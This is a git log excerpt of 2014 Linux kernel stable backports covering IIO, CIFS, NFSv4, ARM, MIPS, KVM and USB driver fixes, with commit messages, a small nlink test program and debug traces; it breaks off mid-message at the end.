d3ed54b6701cc0b6939d1eb9704887784a66814e Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio: meter: ade7758: Fix indio_dev->trig assignment commit 0495081179212b758775df752e657ea71dcae020 upstream. This can result in wrong reference count for trigger device, call iio_trigger_get to increment reference. Refer to http://www.spinics.net/lists/linux-iio/msg13669.html for discussion with Jonathan. Signed-off-by: Srinivas Pandruvada Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7bb1605cf6a7ce94f902a9b30758dd88c2c56048 Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio: inv_mpu6050: Fix indio_dev->trig assignment commit b07e3b3850b2e1f09c19f54d3ed7210d9f529e2c upstream. This can result in wrong reference count for trigger device, call iio_trigger_get to increment reference. Refer to http://www.spinics.net/lists/linux-iio/msg13669.html for discussion with Jonathan. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0e05a8c43e932f7f9e48636dea9e77313f6386dc Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio: gyro: itg3200: Fix indio_dev->trig assignment commit 0b4dce2ee694a991ef38203ec5ff91a738518cb3 upstream. This can result in wrong reference count for trigger device, call iio_trigger_get to increment reference. Refer to http://www.spinics.net/lists/linux-iio/msg13669.html for discussion with Jonathan. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a391f3b58d8939f6f2532e59953205b4607b5a0f Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio:trigger: modify return value for iio_trigger_get commit f153566570fb9e32c2f59182883f4f66048788fb upstream. Instead of a void function, return the trigger pointer. Whilst not in of itself a fix, this makes the following set of 7 fixes cleaner than they would otherwise be. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1eed5fcf67eb8c0b8ad93c1f2cee2b7a81a09c3 Author: Pavel Shilovsky Date: Mon Aug 18 20:49:57 2014 +0400 CIFS: Fix SMB2 readdir error handling commit 52755808d4525f4d5b86d112d36ffc7a46f3fb48 upstream. SMB2 servers indicates the end of a directory search with STATUS_NO_MORE_FILE error code that is not processed now. This causes generic/257 xfstest to fail. Fix this by triggering the end of search by this error code in SMB2_query_directory. Also when negotiating CIFS protocol we tell the server to close the search automatically at the end and there is no need to do it itself. In the case of SMB2 protocol, we need to close it explicitly - separate close directory checks for different protocols. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c82abc4bcbbd6870851d3ae8a87cc586aa73f832 Author: Pavel Shilovsky Date: Fri Aug 22 13:32:09 2014 +0400 CIFS: Fix directory rename error commit a07d322059db66b84c9eb4f98959df468e88b34b upstream. CIFS servers process nlink counts differently for files and directories. In cifs_rename() if we the request fails on the existing target, we try to remove it through cifs_unlink() but this is not what we want to do for directories. As the result the following sequence of commands mkdir {1,2}; mv -T 1 2; rmdir {1,2}; mkdir {1,2}; echo foo > 2/bar and XFS test generic/023 fail with -ENOENT error. That's why the second mkdir reuses the existing inode (target inode of the mv -T command) with S_DEAD flag. Fix this by checking whether the target is directory or not and calling cifs_rmdir() rather than cifs_unlink() for directories. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa56ed7644a0bc3df60a3e9c7fab976aaf81f1f9 Author: Peter Ujfalusi Date: Thu Sep 4 10:52:53 2014 +0300 ASoC: davinci-mcasp: Correct rx format unit configuration commit fe0a29e163a5d045c73faab682a8dac71c2f8012 upstream. In case of capture we should not use rotation. The reverse and mask is enough to get the data align correctly from the bus to MCU: Format data from bus after reverse (XRBUF) S16_LE: |LSB|MSB|xxx|xxx| |xxx|xxx|MSB|LSB| S24_3LE: |LSB|DAT|MSB|xxx| |xxx|MSB|DAT|LSB| S24_LE: |LSB|DAT|MSB|xxx| |xxx|MSB|DAT|LSB| S32_LE: |LSB|DAT|DAT|MSB| |MSB|DAT|DAT|LSB| With this patch all supported formats will work for playback and capture. Reported-by: Jyri Sarha (broken S24_3LE capture) Signed-off-by: Peter Ujfalusi Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 69b292b9b46b025e9f4a48e195fc45773bb587fe Author: Miklos Szeredi Date: Wed Sep 24 17:56:17 2014 +0200 shmem: fix nlink for rename overwrite directory commit b928095b0a7cff7fb9fcf4c706348ceb8ab2c295 upstream. If overwriting an empty directory with rename, then need to drop the extra nlink. Test prog: #include #include #include #include int main(void) { const char *test_dir1 = "test-dir1"; const char *test_dir2 = "test-dir2"; int res; int fd; struct stat statbuf; res = mkdir(test_dir1, 0777); if (res == -1) err(1, "mkdir(\"%s\")", test_dir1); res = mkdir(test_dir2, 0777); if (res == -1) err(1, "mkdir(\"%s\")", test_dir2); fd = open(test_dir2, O_RDONLY); if (fd == -1) err(1, "open(\"%s\")", test_dir2); res = rename(test_dir1, test_dir2); if (res == -1) err(1, "rename(\"%s\", \"%s\")", test_dir1, test_dir2); res = fstat(fd, &statbuf); if (res == -1) err(1, "fstat(%i)", fd); if (statbuf.st_nlink != 0) { fprintf(stderr, "nlink is %lu, should be 0\n", statbuf.st_nlink); return 1; } return 0; } Signed-off-by: Miklos Szeredi Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c65dda50a7636b8be75046f5db7d80f0677f08c Author: Dave Young Date: Tue Aug 26 17:06:41 2014 +0800 x86 early_ioremap: Increase FIX_BTMAPS_SLOTS to 8 commit 3eddc69ffeba092d288c386646bfa5ec0fce25fd upstream. 3.16 kernel boot fail with earlyprintk=efi, it keeps scrolling at the bottom line of screen. Bisected, the first bad commit is below: commit 86dfc6f339886559d80ee0d4bd20fe5ee90450f0 Author: Lv Zheng Date: Fri Apr 4 12:38:57 2014 +0800 ACPICA: Tables: Fix table checksums verification before installation. I did some debugging by enabling both serial and efi earlyprintk, below is some debug dmesg, seems early_ioremap fails in scroll up function due to no free slot, see below dmesg output: WARNING: CPU: 0 PID: 0 at mm/early_ioremap.c:116 __early_ioremap+0x90/0x1c4() __early_ioremap(ed00c800, 00000c80) not found slot Modules linked in: CPU: 0 PID: 0 Comm: swapper Not tainted 3.17.0-rc1+ #204 Hardware name: Hewlett-Packard HP Z420 Workstation/1589, BIOS J61 v03.15 05/09/2013 Call Trace: dump_stack+0x4e/0x7a warn_slowpath_common+0x75/0x8e ? __early_ioremap+0x90/0x1c4 warn_slowpath_fmt+0x47/0x49 __early_ioremap+0x90/0x1c4 ? sprintf+0x46/0x48 early_ioremap+0x13/0x15 early_efi_map+0x24/0x26 early_efi_scroll_up+0x6d/0xc0 early_efi_write+0x1b0/0x214 call_console_drivers.constprop.21+0x73/0x7e console_unlock+0x151/0x3b2 ? vprintk_emit+0x49f/0x532 vprintk_emit+0x521/0x532 ? console_unlock+0x383/0x3b2 printk+0x4f/0x51 acpi_os_vprintf+0x2b/0x2d acpi_os_printf+0x43/0x45 acpi_info+0x5c/0x63 ? __acpi_map_table+0x13/0x18 ? acpi_os_map_iomem+0x21/0x147 acpi_tb_print_table_header+0x177/0x186 acpi_tb_install_table_with_override+0x4b/0x62 acpi_tb_install_standard_table+0xd9/0x215 ? early_ioremap+0x13/0x15 ? __acpi_map_table+0x13/0x18 acpi_tb_parse_root_table+0x16e/0x1b4 acpi_initialize_tables+0x57/0x59 acpi_table_init+0x50/0xce acpi_boot_table_init+0x1e/0x85 setup_arch+0x9b7/0xcc4 start_kernel+0x94/0x42d ? early_idt_handlers+0x120/0x120 x86_64_start_reservations+0x2a/0x2c x86_64_start_kernel+0xf3/0x100 Quote reply from Lv.zheng about the early ioremap slot usage in this case: """ In early_efi_scroll_up(), 2 mapping entries will be used for the src/dst screen buffer. In drivers/acpi/acpica/tbutils.c, we've improved the early table loading code in acpi_tb_parse_root_table(). We now need 2 mapping entries: 1. One mapping entry is used for RSDT table mapping. Each RSDT entry contains an address for another ACPI table. 2. For each entry in RSDP, we need another mapping entry to map the table to perform necessary check/override before installing it. When acpi_tb_parse_root_table() prints something through EFI earlyprintk console, we'll have 4 mapping entries used. The current 4 slots setting of early_ioremap() seems to be too small for such a use case. """ Thus increase the slot to 8 in this patch to fix this issue. boot-time mappings become 512 page with this patch. Signed-off-by: Dave Young Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0b1fdfbbe22722e3baf9f79298bed8f30c5e0b8 Author: Marcelo Tosatti Date: Tue Jun 11 23:31:12 2013 -0300 KVM: x86: handle idiv overflow at kvm_write_tsc commit 8915aa27d5efbb9185357175b0acf884325565f9 upstream. Its possible that idivl overflows (due to large delta stored in usdiff, valid scenario). Create an exception handler to catch the overflow exception (division by zero is protected by vcpu->arch.virtual_tsc_khz check), and interpret it accordingly (delta is larger than USEC_PER_SEC). Fixes https://bugzilla.redhat.com/show_bug.cgi?id=969644 Signed-off-by: Marcelo Tosatti Signed-off-by: Gleb Natapov Signed-off-by: Philipp Hahn Tested-by: Philipp Hahn Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 07f1eab9e5a30e17d9e62fd7ac0b9ad733cf6430 Author: Bob Moore Date: Tue Sep 23 10:35:47 2014 +0800 ACPICA: Update to GPIO region handler interface. commit 75ec6e55f1384548311a13ce4fcb39c516053314 upstream. Changes to correct several GPIO issues: 1) The update_rule in a GPIO field definition is now ignored; a read-modify-write operation is never performed for GPIO fields. (Internally, this means that the field assembly/disassembly code is completely bypassed for GPIO.) 2) The Address parameter passed to a GPIO region handler is now the bit offset of the field from a previous Connection() operator. Thus, it becomes a "Pin Number Index" into the Connection() resource descriptor. 3) The bit_width parameter passed to a GPIO region handler is now the exact bit width of the GPIO field. Thus, it can be interpreted as "number of pins". Overall, we can now say that the region handler interface to GPIO handlers is a raw "bit/pin" addressed interface, not a byte-addressed interface like the system_memory handler interface. Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0e7e3b5a2ae3326a4d5a5b6681bfa7e3188b99c1 Author: Markos Chandras Date: Tue Sep 16 15:55:12 2014 +0100 MIPS: mcount: Adjust stack pointer for static trace in MIPS32 commit 8a574cfa2652545eb95595d38ac2a0bb501af0ae upstream. Every mcount() call in the MIPS 32-bit kernel is done as follows: [...] move at, ra jal _mcount addiu sp, sp, -8 [...] but upon returning from the mcount() function, the stack pointer is not adjusted properly. This is explained in details in 58b69401c797 (MIPS: Function tracer: Fix broken function tracing). Commit ad8c396936e3 ("MIPS: Unbreak function tracer for 64-bit kernel.) fixed the stack manipulation for 64-bit but it didn't fix it completely for MIPS32. Signed-off-by: Markos Chandras Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/7792/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d86bc61858c00ea5ee5544de98fc3a533d9ca8ee Author: Aurelien Jarno Date: Sun Jul 20 19:58:23 2014 +0200 MIPS: ZBOOT: add missing include commit 29593fd5a8149462ed6fad0d522234facdaee6c8 upstream. Commit dc4d7b37 (MIPS: ZBOOT: gather string functions into string.c) moved the string related functions into a separate file, which might cause the following build error, depending on the configuration: | CC arch/mips/boot/compressed/decompress.o | In file included from linux/arch/mips/boot/compressed/../../../../lib/decompress_unxz.c:234:0, | from linux/arch/mips/boot/compressed/decompress.c:67: | linux/arch/mips/boot/compressed/../../../../lib/xz/xz_dec_stream.c: In function 'fill_temp': | linux/arch/mips/boot/compressed/../../../../lib/xz/xz_dec_stream.c:162:2: error: implicit declaration of function 'memcpy' [-Werror=implicit-function-declaration] | cc1: some warnings being treated as errors | linux/scripts/Makefile.build:308: recipe for target 'arch/mips/boot/compressed/decompress.o' failed | make[6]: *** [arch/mips/boot/compressed/decompress.o] Error 1 | linux/arch/mips/Makefile:308: recipe for target 'vmlinuz' failed It does not fail with the standard configuration, as when CONFIG_DYNAMIC_DEBUG is not enabled gets included in include/linux/dynamic_debug.h. There might be other ways for it to get indirectly included. We can't add the include directly in xz_dec_stream.c as some architectures might want to use a different version for the boot/ directory (see for example arch/x86/boot/string.h). Signed-off-by: Aurelien Jarno Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/7420/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit afd79af7313723010433c65ae7fb9448a226ae15 Author: Robin Murphy Date: Thu Sep 25 11:56:19 2014 +0100 ARM: 8165/1: alignment: don't break misaligned NEON load/store commit 5ca918e5e3f9df4634077c06585c42bc6a8d699a upstream. The alignment fixup incorrectly decodes faulting ARM VLDn/VSTn instructions (where the optional alignment hint is given but incorrect) as LDR/STR, leading to register corruption. Detect these and correctly treat them as unhandled, so that userspace gets the fault it expects. Reported-by: Simon Hosie Signed-off-by: Robin Murphy Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4051a7385cf4c757fc6c08bddba640c628bbc9c3 Author: Dave Martin Date: Mon Nov 25 14:54:47 2013 +0100 ARM: 7897/1: kexec: Use the right ISA for relocate_new_kernel commit e2ccba49085ab5d71b092de2a5176eb9b19cc876 upstream. Copying a function with memcpy() and then trying to execute the result isn't trivially portable to Thumb. This patch modifies the kexec soft restart code to copy its assembler trampoline relocate_new_kernel() using fncpy() instead, so that relocate_new_kernel can be in the same ISA as the rest of the kernel without problems. Signed-off-by: Dave Martin Acked-by: Will Deacon Reported-by: Taras Kondratiuk Tested-by: Taras Kondratiuk Signed-off-by: Russell King Integrated-by: Liu Hua Signed-off-by: Liu Hua Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4b3cdbd7d339568b1467903227c5d356e418e640 Author: Mark Rutland Date: Fri Aug 15 12:11:49 2014 +0100 ARM: 8128/1: abort: don't clear the exclusive monitors commit 85868313177700d20644263a782351262d2aff84 upstream. The ARMv6 and ARMv7 early abort handlers clear the exclusive monitors upon entry to the kernel, but this is redundant: - We clear the monitors on every exception return since commit 200b812d0084 ("Clear the exclusive monitor when returning from an exception"), so this is not necessary to ensure the monitors are cleared before returning from a fault handler. - Any dummy STREX will target a temporary scratch area in memory, and may succeed or fail without corrupting useful data. Its status value will not be used. - Any other STREX in the kernel must be preceded by an LDREX, which will initialise the monitors consistently and will not depend on the earlier state of the monitors. Therefore we have no reason to care about the initial state of the exclusive monitors when a data abort is taken, and clearing the monitors prior to exception return (as we already do) is sufficient. This patch removes the redundant clearing of the exclusive monitors from the early abort handlers. Signed-off-by: Mark Rutland Acked-by: Will Deacon Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7655fee82fa694c031e5f3e03ffd57793b4dc1af Author: Trond Myklebust Date: Thu Sep 18 11:51:32 2014 -0400 NFSv4: Fix another bug in the close/open_downgrade code commit cd9288ffaea4359d5cfe2b8d264911506aed26a4 upstream. James Drew reports another bug whereby the NFS client is now sending an OPEN_DOWNGRADE in a situation where it should really have sent a CLOSE: the client is opening the file for O_RDWR, but then trying to do a downgrade to O_RDONLY, which is not allowed by the NFSv4 spec. Reported-by: James Drews Link: http://lkml.kernel.org/r/541AD7E5.8020409@engr.wisc.edu Fixes: aee7af356e15 (NFSv4: Fix problems with close in the presence...) Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dcf878e2beadd6b3592f580eecfb590d7fda44a5 Author: Steve Dickson Date: Thu Sep 18 09:13:17 2014 -0400 NFSv4: nfs4_state_manager() vs. nfs_server_remove_lists() commit 080af20cc945d110f9912d01cf6b66f94a375b8d upstream. There is a race between nfs4_state_manager() and nfs_server_remove_lists() that happens during a nfsv3 mount. The v3 mount notices there is already a supper block so nfs_server_remove_lists() called which uses the nfs_client_lock spin lock to synchronize access to the client list. At the same time nfs4_state_manager() is running through the client list looking for work to do, using the same lock. When nfs4_state_manager() wins the race to the list, a v3 client pointer is found and not ignored properly which causes the panic. Moving some protocol checks before the state checking avoids the panic. Signed-off-by: Steve Dickson Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c3edb8147eab3ba2f8adba60efad0afa306aa32f Author: Shen Guang Date: Wed Jan 8 14:45:42 2014 +0800 usb:hub set hub->change_bits when over-current happens commit 08d1dec6f4054e3613f32051d9b149d4203ce0d2 upstream. When we are doing compliance test with xHCI, we found that if we enable CONFIG_USB_SUSPEND and plug in a bad device which causes over-current condition to the root port, software will not be noticed. The reason is that current code don't set hub->change_bits in hub_activate() when over-current happens, and then hub_events() will not check the port status because it thinks nothing changed. If CONFIG_USB_SUSPEND is disabled, the interrupt pipe of the hub will report the change and set hub->event_bits, and then hub_events() will check what events happened.In this case over-current can be detected. Signed-off-by: Shen Guang Acked-by: Alan Stern Acked-by: Sarah Sharp Cc: Frans Klaver Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c5235f0de22cba6fcbea70773fc367fd0abe22d9 Author: Felipe Balbi Date: Wed Sep 3 16:42:57 2014 -0500 usb: dwc3: omap: fix ordering for runtime pm calls commit 81a60b7f5c143ab3cdcd9943c9b4b7c63c32fc31 upstream. we don't to gate clocks until our children are done with their remove path. Fixes: af310e9 (usb: dwc3: omap: use runtime API's to enable clocks) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b5fba2cda7babdf968cf66450bec9ab057da88e Author: Alan Stern Date: Wed Sep 17 11:23:54 2014 -0400 USB: EHCI: unlink QHs even after the controller has stopped commit 7312b5ddd47fee2356baa78c5516ef8e04eed452 upstream. Old code in ehci-hcd tries to expedite disabling endpoints after the controller has stopped, by destroying the endpoint's associated QH without first unlinking the QH. This was necessary back when the driver wasn't so careful about keeping track of the controller's state. But now we are careful about it, and the driver knows that when the controller isn't running, no unlinking delay is needed. Furthermore, skipping the unlink step will trigger a BUG() in qh_destroy() when the preceding QH is released, because the link pointer will be non-NULL. Removing the lines that skip the unlinking step and go directly to QH_STATE_IDLE fixes the problem. Signed-off-by: Alan Stern Reported-by: Joe Lawrence Tested-by: Joe Lawrence Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 034c4a9fed4af404604ba4474a0d239b5d845e83 Author: Mark Date: Wed Sep 17 19:15:43 2014 +0100 USB: storage: Add quirks for Entrega/Xircom USB to SCSI converters commit c80b4495c61636edc58fe1ce300f09f24db28e10 upstream. This patch adds quirks for Entrega Technologies (later Xircom PortGear) USB- SCSI converters. They use Shuttle Technology EUSB-01/EUSB-S1 chips. The US_FL_SCM_MULT_TARG quirk is needed to allow multiple devices on the SCSI chain to be accessed. Without it only the (single) device with SCSI ID 0 can be used. The standalone converter sold by Entrega had model number U1-SC25. Xircom acquired Entrega and re-branded the product line PortGear. The PortGear USB to SCSI Converter (model PGSCSI) is internally identical to the Entrega product, but later models may use a different USB ID. The Entrega-branded units have USB ID 1645:0007, as does my Xircom PGSCSI, but the Windows and Macintosh drivers also support 085A:0028. Entrega also sold the "Mac USB Dock", which provides two USB ports, a Mac (8-pin mini-DIN) serial port and a SCSI port. It appears to the computer as a four-port hub, USB-serial, and USB-SCSI converters. The USB-SCSI part may have initially used the same ID as the standalone U1-SC25 (1645:0007), but later production used 085A:0026. My Xircom PortGear PGSCSI has bcdDevice=0x0100. Units with bcdDevice=0x0133 probably also exist. This patch adds quirks for 1645:0007, 085A:0026 and 085A:0028. The Windows driver INF file also mentions 085A:0032 "PortStation SCSI Module", but I couldn't find any mention of that actually existing in the wild; perhaps it was cancelled before release? Signed-off-by: Mark Knibbs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56995fa5413503f17df75d05cf18e3f37c78ba9c Author: Mark Date: Tue Sep 16 16:51:41 2014 +0100 USB: storage: Add quirk for Ariston Technologies iConnect USB to SCSI adapter commit b6a3ed677991558ce09046397a7c4d70530d15b3 upstream. Hi, The Ariston Technologies iConnect 025 and iConnect 050 (also known as e.g. iSCSI-50) are SCSI-USB converters which use Shuttle Technology/SCM Microsystems chips. Only the connectors differ; both have the same USB ID. The US_FL_SCM_MULT_TARG quirk is required to use SCSI devices with ID other than 0. I don't have one of these, but based on the other entries for Shuttle/ SCM-based converters this patch is very likely correct. I used 0x0000 and 0x9999 for bcdDeviceMin and bcdDeviceMax because I'm not sure which bcdDevice value the products use. Signed-off-by: Mark Knibbs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18f246e078e72a275339f9f02d08b59445a43c1b Author: Mark Date: Tue Sep 16 16:22:50 2014 +0100 USB: storage: Add quirk for Adaptec USBConnect 2000 USB-to-SCSI Adapter commit 67d365a57a51fb9dece6a5ceb504aa381cae1e5b upstream. The Adaptec USBConnect 2000 is another SCSI-USB converter which uses Shuttle Technology/SCM Microsystems chips. The US_FL_SCM_MULT_TARG quirk is required to use SCSI devices with ID other than 0. I don't have a USBConnect 2000, but based on the other entries for Shuttle/ SCM-based converters this patch is very likely correct. I used 0x0000 and 0x9999 for bcdDeviceMin and bcdDeviceMax because I'm not sure which bcdDevice value the product uses. Signed-off-by: Mark Knibbs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d191a4a2c70f68fe600ba2a87631c3ecac9f4465 Author: Mark Date: Thu Sep 11 13:15:45 2014 +0100 storage: Add single-LUN quirk for Jaz USB Adapter commit c66f1c62e85927357e7b3f4c701614dcb5c498a2 upstream. The Iomega Jaz USB Adapter is a SCSI-USB converter cable. The hardware seems to be identical to e.g. the Microtech XpressSCSI, using a Shuttle/ SCM chip set. However its firmware restricts it to only work with Jaz drives. On connecting the cable a message like this appears four times in the log: reset full speed USB device number 4 using uhci_hcd That's non-fatal but the US_FL_SINGLE_LUN quirk fixes it. Signed-off-by: Mark Knibbs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1d5d679f495e442c8b2c7b22922fc84d6f4c956 Author: Joe Lawrence Date: Wed Sep 10 15:07:50 2014 -0400 usb: hub: take hub->hdev reference when processing from eventlist commit c605f3cdff53a743f6d875b76956b239deca1272 upstream. During surprise device hotplug removal tests, it was observed that hub_events may try to call usb_lock_device on a device that has already been freed. Protect the usb_device by taking out a reference (under the hub_event_lock) when hub_events pulls it off the list, returning the reference after hub_events is finished using it. Signed-off-by: Joe Lawrence Suggested-by: David Bulkow for using kref Suggested-by: Alan Stern for placement Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman [neo: Modified patch.] Signed-off-by: Pranav Vashi commit fc99c8d611545eb632ef805e42892561dae0e42b Author: Mathias Nyman Date: Thu Sep 11 13:55:50 2014 +0300 xhci: fix oops when xhci resumes from hibernate with hw lpm capable devices commit 96044694b8511bc2b04df0776b4ba295cfe005c0 upstream. Resuming from hibernate (S4) will restart and re-initialize xHC. The device contexts are freed and will be re-allocated later during device reset. Usb core will disable link pm in device resume before device reset, which will try to change the max exit latency, accessing the device contexts before they are re-allocated. There is no need to zero (disable) the max exit latency when disabling hw lpm for a freshly re-initialized xHC. So check that device context exists before doing anything. The max exit latency will be set again after device reset when usb core enables the link pm. Reported-by: Imre Deak Tested-by: Imre Deak Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd750fe1267636ef4c7f7f0ea98463c9332ea975 Author: Mathias Nyman Date: Thu Sep 11 13:55:48 2014 +0300 xhci: Fix null pointer dereference if xhci initialization fails commit c207e7c50f31113c24a9f536fcab1e8a256985d7 upstream. If xhci initialization fails before the roothub bandwidth domains (xhci->rh_bw[i]) are allocated it will oops when trying to access rh_bw members in xhci_mem_cleanup(). Reported-by: Manuel Reimer Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 693871f13874d5dfe431927e1a9d297c0130b60f Author: Johan Hovold Date: Thu Aug 28 12:46:54 2014 +0200 USB: zte_ev: fix removed PIDs commit 3096691011d01cef56b243a5e65431405c07d574 upstream. Add back some PIDs that were mistakingly remove when reverting commit 73228a0538a7 ("USB: option,zte_ev: move most ZTE CDMA devices to zte_ev"), which apparently did more than its commit message claimed in that it not only moved some PIDs from option to zte_ev but also added some new ones. Fixes: 63a901c06e3c ("Revert "USB: option,zte_ev: move most ZTE CDMA devices to zte_ev"") Reported-by: Lei Liu Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bc14002533400d5fbf8c8fc3099d3f493295b093 Author: Johan Hovold Date: Mon Aug 18 18:33:11 2014 +0200 USB: ftdi_sio: add support for NOVITUS Bono E thermal printer commit ee444609dbae8afee420c3243ce4c5f442efb622 upstream. Add device id for NOVITUS Bono E thermal printer. Reported-by: Emanuel Koczwara Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60c14fbe8ac781ba53f4b45fd11c262ea239f222 Author: Bjørn Mork Date: Thu Aug 28 15:08:16 2014 +0200 USB: sierra: add 1199:68AA device ID commit 5b3da69285c143b7ea76b3b9f73099ff1093ab73 upstream. This VID:PID is used for some Direct IP devices behaving identical to the already supported 0F3D:68AA devices. Reported-by: Lars Melin Signed-off-by: Bjørn Mork Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d410a44db0567a60448d6ead3a44c80260de4b20 Author: Bjørn Mork Date: Thu Aug 28 14:11:23 2014 +0200 USB: sierra: avoid CDC class functions on "68A3" devices commit 049255f51644c1105775af228396d187402a5934 upstream. Sierra Wireless Direct IP devices using the 68A3 product ID can be configured for modes including a CDC ECM class function. The known example uses interface numbers 12 and 13 for the ECM control and data interfaces respectively, consistent with CDC MBIM function interface numbering on other Sierra devices. It seems cleaner to restrict this driver to the ff/ff/ff vendor specific interfaces rather than increasing the already long interface number blacklist. This should be more future proof if Sierra adds more class functions using interface numbers not yet in the blacklist. Signed-off-by: Bjørn Mork Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c3be1b73d336d683a9af4c525d637234c4cbf3c Author: Johan Hovold Date: Thu Aug 7 16:00:15 2014 +0200 USB: zte_ev: remove duplicate Qualcom PID commit 754eb21c0bbbbc4b8830a9a864b286323b84225f upstream. Remove dublicate Qualcom PID 0x3197 which is already handled by the moto-modem driver since commit 6986a978eec7 ("USB: add new moto_modem driver for some Morotola phones"). Fixes: 799ee9243d89 ("USB: serial: add zte_ev.c driver") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 73adaf1e2b3e8da4b59146191ce5eaa3ab94c6bf Author: Johan Hovold Date: Thu Aug 7 16:00:14 2014 +0200 USB: zte_ev: remove duplicate Gobi PID commit 95be5739588c56a9327e477aa0ba3c81c5cf8631 upstream. Remove dublicate Gobi PID 0x9008 which is already handled by the qcserial driver since commit f05932c0caf4 ("USB: qcserial: Add extra device IDs"). Fixes: 799ee9243d89 ("USB: serial: add zte_ev.c driver") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b7beae91c00efe7d94249e988958ec06e13b3a37 Author: Johan Hovold Date: Thu Aug 7 16:00:13 2014 +0200 Revert "USB: option,zte_ev: move most ZTE CDMA devices to zte_ev" commit 63a901c06e3c2c45bd601916fe04e870e9ccae1e upstream. This reverts commit 73228a0538a7 ("USB: option,zte_ev: move most ZTE CDMA devices to zte_ev"). Move the IDs of the devices that were previously driven by the option driver back to that driver. As several users have reported, the zte_ev driver is causing random disconnects as well as reconnect failures. A closer analysis of the zte_ev setup code reveals that it consists of standard CDC requests (SET/GET_LINE_CODING and SET_CONTROL_LINE_STATE) but unfortunately fails to get some of those right. In particular, as reported by Liu Lei, it fails to lower DTR/RTS on close. It also appears that the control requests lack the interface argument. Note that the zte_ev driver is based on code (once) distributed by ZTE that still appears to originally have been reverse-engineered and bolted onto the generic driver. Since line control is already handled properly by the option driver, and the SET/GET_LINE_CODING requests appears to be redundant (amounts to a SET 9600 8N1), this is a first step in ultimately removing the redundant zte_ev driver. Note that AC2726 had already been moved back to option, and that some IDs were in the device table of both drivers prior to the commit being reverted. Reported-by: Lei Liu Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65115c393ec3715a25cae69d1ebc61bd0a54e452 Author: Brennan Ashton Date: Wed Aug 6 08:46:44 2014 -0700 USB: option: add VIA Telecom CDS7 chipset device id commit d77302739d900bbca5e901a3b7ac48c907ee6c93 upstream. This VIA Telecom baseband processor is used is used by by u-blox in both the FW2770 and FW2760 products and may be used in others as well. This patch has been tested on both of these modem versions. Signed-off-by: Brennan Ashton Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f1ffc2e1efa6e667f72b1af1cb3b7635943bbd7 Author: Johan Hovold Date: Tue Jul 29 14:14:55 2014 +0200 USB: option: reduce interrupt-urb logging verbosity commit f0e4cba2534cd88476dff920727c81350130f3c5 upstream. Do not log normal interrupt-urb shutdowns as errors. The option driver has always been logging any nonzero interrupt-urb status as an error, including when the urb is killed during normal operation. Commit 9096f1fbba91 ("USB: 